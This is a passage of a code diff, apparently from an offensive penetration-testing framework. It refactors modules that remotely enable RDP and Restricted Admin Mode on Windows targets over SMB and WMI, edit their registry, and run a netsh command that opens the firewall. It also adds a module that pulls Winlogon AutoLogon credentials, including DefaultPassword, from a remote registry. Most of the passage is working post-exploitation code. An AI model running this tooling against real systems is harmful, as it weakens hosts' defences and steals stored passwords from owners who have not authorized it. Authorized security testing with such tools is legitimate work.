ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
|
||||
regHandle = ans["phKey"]
|
||||
if remote_ops._RemoteOperations__rrp:
|
||||
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
|
||||
reg_handle = ans["phKey"]
|
||||
|
||||
ans = rrp.hBaseRegOpenKey(
|
||||
remoteOps._RemoteOperations__rrp,
|
||||
regHandle,
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
reg_handle,
|
||||
"SYSTEM\\CurrentControlSet\\Control\\Terminal Server",
|
||||
)
|
||||
keyHandle = ans["phkResult"]
|
||||
key_handle = ans["phkResult"]
|
||||
|
||||
ans = rrp.hBaseRegSetValue(
|
||||
remoteOps._RemoteOperations__rrp,
|
||||
keyHandle,
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
key_handle,
|
||||
"fDenyTSConnections",
|
||||
rrp.REG_DWORD,
|
||||
0 if action == "enable" else 1,
|
||||
)
|
||||
|
||||
rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "fDenyTSConnections")
|
||||
rtype, data = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "fDenyTSConnections")
|
||||
|
||||
if int(data) == 0:
|
||||
self.logger.success("Enable RDP via SMB(ncacn_np) successfully")
|
||||
elif int(data) == 1:
|
||||
self.logger.success("Disable RDP via SMB(ncacn_np) successfully")
|
||||
|
||||
self.firewall_CMD(action)
|
||||
|
||||
self.firewall_cmd(action)
|
||||
|
||||
if action == "enable":
|
||||
self.query_RDPPort(remoteOps, regHandle)
|
||||
try:
|
||||
remoteOps.finish()
|
||||
except:
|
||||
pass
|
||||
self.query_rdp_port(remote_ops, reg_handle)
|
||||
with contextlib.suppress(Exception):
|
||||
remote_ops.finish()
|
||||
|
||||
def rdp_RAMWrapper(self, action):
|
||||
remoteOps = RemoteOperations(self.__smbconnection, False)
|
||||
remoteOps.enableRegistry()
|
||||
def rdp_ram_wrapper(self, action):
|
||||
remote_ops = RemoteOperations(self.__smbconnection, False)
|
||||
remote_ops.enableRegistry()
|
||||
|
||||
if remoteOps._RemoteOperations__rrp:
|
||||
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
|
||||
regHandle = ans["phKey"]
|
||||
if remote_ops._RemoteOperations__rrp:
|
||||
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
|
||||
reg_handle = ans["phKey"]
|
||||
|
||||
ans = rrp.hBaseRegOpenKey(
|
||||
remoteOps._RemoteOperations__rrp,
|
||||
regHandle,
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
reg_handle,
|
||||
"System\\CurrentControlSet\\Control\\Lsa",
|
||||
)
|
||||
keyHandle = ans["phkResult"]
|
||||
key_handle = ans["phkResult"]
|
||||
|
||||
rrp.hBaseRegSetValue(
|
||||
remoteOps._RemoteOperations__rrp,
|
||||
keyHandle,
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
key_handle,
|
||||
"DisableRestrictedAdmin",
|
||||
rrp.REG_DWORD,
|
||||
0 if action == "enable-ram" else 1,
|
||||
)
|
||||
|
||||
rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "DisableRestrictedAdmin")
|
||||
rtype, data = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "DisableRestrictedAdmin")
|
||||
|
||||
if int(data) == 0:
|
||||
self.logger.success("Enable RDP Restricted Admin Mode via SMB(ncacn_np) succeed")
|
||||
elif int(data) == 1:
|
||||
self.logger.success("Disable RDP Restricted Admin Mode via SMB(ncacn_np) succeed")
|
||||
|
||||
try:
|
||||
remoteOps.finish()
|
||||
except:
|
||||
pass
|
||||
with contextlib.suppress(Exception):
|
||||
remote_ops.finish()
|
||||
|
||||
def query_RDPPort(self, remoteOps, regHandle):
|
||||
def query_rdp_port(self, remoteOps, regHandle):
|
||||
if remoteOps:
|
||||
ans = rrp.hBaseRegOpenKey(
|
||||
remoteOps._RemoteOperations__rrp,
|
||||
regHandle,
|
||||
"SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp",
|
||||
)
|
||||
keyHandle = ans["phkResult"]
|
||||
key_handle = ans["phkResult"]
|
||||
|
||||
rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "PortNumber")
|
||||
|
||||
self.logger.success(f"RDP Port: {str(data)}")
|
||||
rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, key_handle, "PortNumber")
|
||||
|
||||
self.logger.success(f"RDP Port: {data!s}")
|
||||
|
||||
# https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/manage/enable_rdp.rb
|
||||
def firewall_CMD(self, action):
|
||||
def firewall_cmd(self, action):
|
||||
cmd = f"netsh firewall set service type = remotedesktop mode = {action}"
|
||||
self.logger.info("Configure firewall via execute command.")
|
||||
output = self.__execute(cmd, True)
|
||||
@@ -211,20 +204,22 @@ class rdp_SMB:
|
||||
else:
|
||||
self.logger.fail(f"{action.capitalize()} RDP firewall rules via cmd failed, maybe got detected by AV software.")
|
||||
|
||||
class rdp_WMI:
|
||||
|
||||
class RdpWmi:
|
||||
def __init__(self, context, connection, timeout):
|
||||
self.logger = context.log
|
||||
self.__currentprotocol = context.protocol
|
||||
# From dfscoerce.py
|
||||
self.__username=connection.username
|
||||
self.__password=connection.password
|
||||
self.__domain=connection.domain
|
||||
self.__lmhash=connection.lmhash
|
||||
self.__nthash=connection.nthash
|
||||
self.__target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
|
||||
self.__doKerberos=connection.kerberos
|
||||
self.__kdcHost=connection.kdcHost
|
||||
self.__aesKey=connection.aesKey
|
||||
self.__username = connection.username
|
||||
self.__password = connection.password
|
||||
self.__domain = connection.domain
|
||||
self.__lmhash = connection.lmhash
|
||||
self.__nthash = connection.nthash
|
||||
self.__target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
|
||||
self.__doKerberos = connection.kerberos
|
||||
self.__kdcHost = connection.kdcHost
|
||||
self.__remoteHost = connection.host
|
||||
self.__aesKey = connection.aesKey
|
||||
self.__timeout = timeout
|
||||
|
||||
try:
|
||||
@@ -239,104 +234,105 @@ class rdp_WMI:
|
||||
oxidResolver=True,
|
||||
doKerberos=self.__doKerberos,
|
||||
kdcHost=self.__kdcHost,
|
||||
remoteHost=self.__remoteHost,
|
||||
)
|
||||
|
||||
iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
|
||||
i_interface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
|
||||
if self.__currentprotocol == "smb":
|
||||
flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__timeout)
|
||||
flag, self.__stringBinding = dcom_FirewallChecker(i_interface, self.__remoteHost, self.__timeout)
|
||||
if not flag or not self.__stringBinding:
|
||||
error_msg = f'RDP-WMI: Dcom initialization failed on connection with stringbinding: "{self.__stringBinding}", please increase the timeout with the module option "DCOM-TIMEOUT=10". If it\'s still failing maybe something is blocking the RPC connection, please try to use "-o" with "METHOD=smb"'
|
||||
|
||||
|
||||
if not self.__stringBinding:
|
||||
error_msg = "RDP-WMI: Dcom initialization failed: can't get target stringbinding, maybe cause by IPv6 or any other issues, please check your target again"
|
||||
|
||||
|
||||
self.logger.fail(error_msg) if not flag else self.logger.debug(error_msg)
|
||||
# Make it force break function
|
||||
self.__dcom.disconnect()
|
||||
self.__iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
|
||||
self.__iWbemLevel1Login = wmi.IWbemLevel1Login(i_interface)
|
||||
except Exception as e:
|
||||
self.logger.fail(f'Unexpected wmi error: {str(e)}, please try to use "-o" with "METHOD=smb"')
|
||||
self.logger.fail(f'Unexpected wmi error: {e}, please try to use "-o" with "METHOD=smb"')
|
||||
if self.__iWbemLevel1Login in locals():
|
||||
self.__dcom.disconnect()
|
||||
|
||||
def rdp_Wrapper(self, action, old=False):
|
||||
if old == False:
|
||||
def rdp_wrapper(self, action, old=False):
|
||||
if old is False:
|
||||
# According to this document: https://learn.microsoft.com/en-us/windows/win32/termserv/win32-tslogonsetting
|
||||
# Authentication level must set to RPC_C_AUTHN_LEVEL_PKT_PRIVACY when accessing namespace "//./root/cimv2/TerminalServices"
|
||||
iWbemServices = self.__iWbemLevel1Login.NTLMLogin('//./root/cimv2/TerminalServices', NULL, NULL)
|
||||
iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
i_wbem_services = self.__iWbemLevel1Login.NTLMLogin("//./root/cimv2/TerminalServices", NULL, NULL)
|
||||
i_wbem_services.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
self.__iWbemLevel1Login.RemRelease()
|
||||
iEnumWbemClassObject = iWbemServices.ExecQuery("SELECT * FROM Win32_TerminalServiceSetting")
|
||||
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff,1)[0]
|
||||
if action == 'enable':
|
||||
i_enum_wbem_class_object = i_wbem_services.ExecQuery("SELECT * FROM Win32_TerminalServiceSetting")
|
||||
i_wbem_class_object = i_enum_wbem_class_object.Next(0xFFFFFFFF, 1)[0]
|
||||
if action == "enable":
|
||||
self.logger.info("Enabled RDP services and setting up firewall.")
|
||||
iWbemClassObject.SetAllowTSConnections(1,1)
|
||||
elif action == 'disable':
|
||||
i_wbem_class_object.SetAllowTSConnections(1, 1)
|
||||
elif action == "disable":
|
||||
self.logger.info("Disabled RDP services and setting up firewall.")
|
||||
iWbemClassObject.SetAllowTSConnections(0,0)
|
||||
i_wbem_class_object.SetAllowTSConnections(0, 0)
|
||||
else:
|
||||
iWbemServices = self.__iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
|
||||
i_wbem_services = self.__iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL)
|
||||
self.__iWbemLevel1Login.RemRelease()
|
||||
iEnumWbemClassObject = iWbemServices.ExecQuery("SELECT * FROM Win32_TerminalServiceSetting")
|
||||
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff,1)[0]
|
||||
if action == 'enable':
|
||||
i_enum_wbem_class_object = i_wbem_services.ExecQuery("SELECT * FROM Win32_TerminalServiceSetting")
|
||||
i_wbem_class_object = i_enum_wbem_class_object.Next(0xFFFFFFFF, 1)[0]
|
||||
if action == "enable":
|
||||
self.logger.info("Enabling RDP services (old system not support setting up firewall)")
|
||||
iWbemClassObject.SetAllowTSConnections(1)
|
||||
elif action == 'disable':
|
||||
i_wbem_class_object.SetAllowTSConnections(1)
|
||||
elif action == "disable":
|
||||
self.logger.info("Disabling RDP services (old system not support setting up firewall)")
|
||||
iWbemClassObject.SetAllowTSConnections(0)
|
||||
|
||||
self.query_RDPResult(old)
|
||||
i_wbem_class_object.SetAllowTSConnections(0)
|
||||
|
||||
if action == 'enable':
|
||||
self.query_RDPPort()
|
||||
self.query_rdp_result(old)
|
||||
|
||||
if action == "enable":
|
||||
self.query_rdp_port()
|
||||
# Need to create new iWbemServices interface in order to flush results
|
||||
|
||||
def query_RDPResult(self, old=False):
|
||||
if old == False:
|
||||
iWbemServices = self.__iWbemLevel1Login.NTLMLogin('//./root/cimv2/TerminalServices', NULL, NULL)
|
||||
iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
|
||||
def query_rdp_result(self, old=False):
|
||||
if old is False:
|
||||
i_wbem_services = self.__iWbemLevel1Login.NTLMLogin("//./root/cimv2/TerminalServices", NULL, NULL)
|
||||
i_wbem_services.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
self.__iWbemLevel1Login.RemRelease()
|
||||
iEnumWbemClassObject = iWbemServices.ExecQuery("SELECT * FROM Win32_TerminalServiceSetting")
|
||||
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff,1)[0]
|
||||
result = dict(iWbemClassObject.getProperties())
|
||||
result = result['AllowTSConnections']['value']
|
||||
i_enum_wbem_class_object = i_wbem_services.ExecQuery("SELECT * FROM Win32_TerminalServiceSetting")
|
||||
i_wbem_class_object = i_enum_wbem_class_object.Next(0xFFFFFFFF, 1)[0]
|
||||
result = dict(i_wbem_class_object.getProperties())
|
||||
result = result["AllowTSConnections"]["value"]
|
||||
if result == 0:
|
||||
self.logger.success("Disable RDP via WMI(ncacn_ip_tcp) successfully")
|
||||
else:
|
||||
self.logger.success("Enable RDP via WMI(ncacn_ip_tcp) successfully")
|
||||
else:
|
||||
iWbemServices = self.__iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
|
||||
i_wbem_services = self.__iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL)
|
||||
self.__iWbemLevel1Login.RemRelease()
|
||||
iEnumWbemClassObject = iWbemServices.ExecQuery("SELECT * FROM Win32_TerminalServiceSetting")
|
||||
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff,1)[0]
|
||||
result = dict(iWbemClassObject.getProperties())
|
||||
result = result['AllowTSConnections']['value']
|
||||
i_enum_wbem_class_object = i_wbem_services.ExecQuery("SELECT * FROM Win32_TerminalServiceSetting")
|
||||
i_wbem_class_object = i_enum_wbem_class_object.Next(0xFFFFFFFF, 1)[0]
|
||||
result = dict(i_wbem_class_object.getProperties())
|
||||
result = result["AllowTSConnections"]["value"]
|
||||
if result == 0:
|
||||
self.logger.success("Disable RDP via WMI(ncacn_ip_tcp) successfully (old system)")
|
||||
else:
|
||||
self.logger.success("Enable RDP via WMI(ncacn_ip_tcp) successfully (old system)")
|
||||
|
||||
def query_RDPPort(self):
|
||||
iWbemServices = self.__iWbemLevel1Login.NTLMLogin('//./root/DEFAULT', NULL, NULL)
|
||||
def query_rdp_port(self):
|
||||
i_wbem_services = self.__iWbemLevel1Login.NTLMLogin("//./root/DEFAULT", NULL, NULL)
|
||||
self.__iWbemLevel1Login.RemRelease()
|
||||
StdRegProv, resp = iWbemServices.GetObject("StdRegProv")
|
||||
out = StdRegProv.GetDWORDValue(2147483650, 'SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp', 'PortNumber')
|
||||
self.logger.success(f"RDP Port: {str(out.uValue)}")
|
||||
std_reg_prov, resp = i_wbem_services.GetObject("StdRegProv")
|
||||
out = std_reg_prov.GetDWORDValue(2147483650, "SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp", "PortNumber")
|
||||
self.logger.success(f"RDP Port: {out.uValue!s}")
|
||||
|
||||
# Nt version under 6 not support RAM.
|
||||
def rdp_RAMWrapper(self, action):
|
||||
iWbemServices = self.__iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
|
||||
def rdp_ram_wrapper(self, action):
|
||||
i_wbem_services = self.__iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL)
|
||||
self.__iWbemLevel1Login.RemRelease()
|
||||
StdRegProv, resp = iWbemServices.GetObject("StdRegProv")
|
||||
if action == 'enable-ram':
|
||||
std_reg_prov, resp = i_wbem_services.GetObject("StdRegProv")
|
||||
if action == "enable-ram":
|
||||
self.logger.info("Enabling Restricted Admin Mode.")
|
||||
StdRegProv.SetDWORDValue(2147483650, 'System\\CurrentControlSet\\Control\\Lsa', 'DisableRestrictedAdmin', 0)
|
||||
elif action == 'disable-ram':
|
||||
std_reg_prov.SetDWORDValue(2147483650, "System\\CurrentControlSet\\Control\\Lsa", "DisableRestrictedAdmin", 0)
|
||||
elif action == "disable-ram":
|
||||
self.logger.info("Disabling Restricted Admin Mode (Clear).")
|
||||
StdRegProv.DeleteValue(2147483650, 'System\\CurrentControlSet\\Control\\Lsa', 'DisableRestrictedAdmin')
|
||||
out = StdRegProv.GetDWORDValue(2147483650, 'System\\CurrentControlSet\\Control\\Lsa', 'DisableRestrictedAdmin')
|
||||
std_reg_prov.DeleteValue(2147483650, "System\\CurrentControlSet\\Control\\Lsa", "DisableRestrictedAdmin")
|
||||
out = std_reg_prov.GetDWORDValue(2147483650, "System\\CurrentControlSet\\Control\\Lsa", "DisableRestrictedAdmin")
|
||||
if out.uValue == 0:
|
||||
self.logger.success("Enable RDP Restricted Admin Mode via WMI(ncacn_ip_tcp) successfully")
|
||||
elif out.uValue == None:
|
||||
self.logger.success("Disable RDP Restricted Admin Mode via WMI(ncacn_ip_tcp) successfully")
|
||||
elif out.uValue is None:
|
||||
self.logger.success("Disable RDP Restricted Admin Mode via WMI(ncacn_ip_tcp) successfully")
|
||||
@@ -1,6 +1,3 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from impacket.examples.secretsdump import RemoteOperations
|
||||
@@ -63,8 +60,8 @@ class NXCModule:
|
||||
if "WORD" in self.type:
|
||||
try:
|
||||
self.value = int(self.value)
|
||||
except:
|
||||
context.log.fail(f"Invalid registry value type specified: {self.value}")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Invalid registry value type specified: {self.value}: {e}")
|
||||
return
|
||||
if self.type in type_dict:
|
||||
self.type = type_dict[self.type]
|
||||
@@ -112,8 +109,8 @@ class NXCModule:
|
||||
try:
|
||||
# Check if value exists
|
||||
data_type, reg_value = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, self.key)
|
||||
except:
|
||||
self.context.log.fail(f"Registry key {self.key} does not exist")
|
||||
except Exception as e:
|
||||
self.context.log.fail(f"Registry key {self.key} does not exist: {e}")
|
||||
return
|
||||
# Delete value
|
||||
rrp.hBaseRegDeleteValue(remote_ops._RemoteOperations__rrp, key_handle, self.key)
|
||||
@@ -135,7 +132,7 @@ class NXCModule:
|
||||
self.value,
|
||||
)
|
||||
self.context.log.success(f"Key {self.key} has been modified to {self.value}")
|
||||
except:
|
||||
except Exception:
|
||||
rrp.hBaseRegSetValue(
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
key_handle,
|
||||
@@ -150,7 +147,7 @@ class NXCModule:
|
||||
try:
|
||||
data_type, reg_value = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, self.key)
|
||||
self.context.log.highlight(f"{self.key}: {reg_value}")
|
||||
except:
|
||||
except Exception:
|
||||
if self.delete:
|
||||
pass
|
||||
else:
|
||||
|
||||
@@ -0,0 +1,46 @@
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from impacket.examples.secretsdump import RemoteOperations
|
||||
|
||||
class NXCModule:
|
||||
r"""
|
||||
WinLogon AutoLogon: extract the credential from the following registry hive
|
||||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
|
||||
Module by @pentest_swissky
|
||||
"""
|
||||
|
||||
name = "reg-winlogon"
|
||||
description = "Collect autologon credential stored in the registry"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
|
||||
def options(self, context, module_options):
|
||||
""" """
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
remoteOps = RemoteOperations(connection.conn, False)
|
||||
remoteOps.enableRegistry()
|
||||
|
||||
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
|
||||
regHandle = ans["phKey"]
|
||||
ans = rrp.hBaseRegOpenKey(
|
||||
remoteOps._RemoteOperations__rrp,
|
||||
regHandle,
|
||||
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon",
|
||||
)
|
||||
keyHandle = ans["phkResult"]
|
||||
|
||||
reg_keys = ["AutoAdminLogon", "DefaultDomainName", "DefaultUserName", "DefaultPassword"]
|
||||
for reg_key in reg_keys:
|
||||
try:
|
||||
dataType, reg_value = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, reg_key)
|
||||
context.log.highlight(f"{reg_key}: {reg_value}")
|
||||
except Exception:
|
||||
context.log.highlight(f"{reg_key}:")
|
||||
|
||||
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
|
||||
remoteOps.finish()
|
||||
Loaded 100 of 199 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user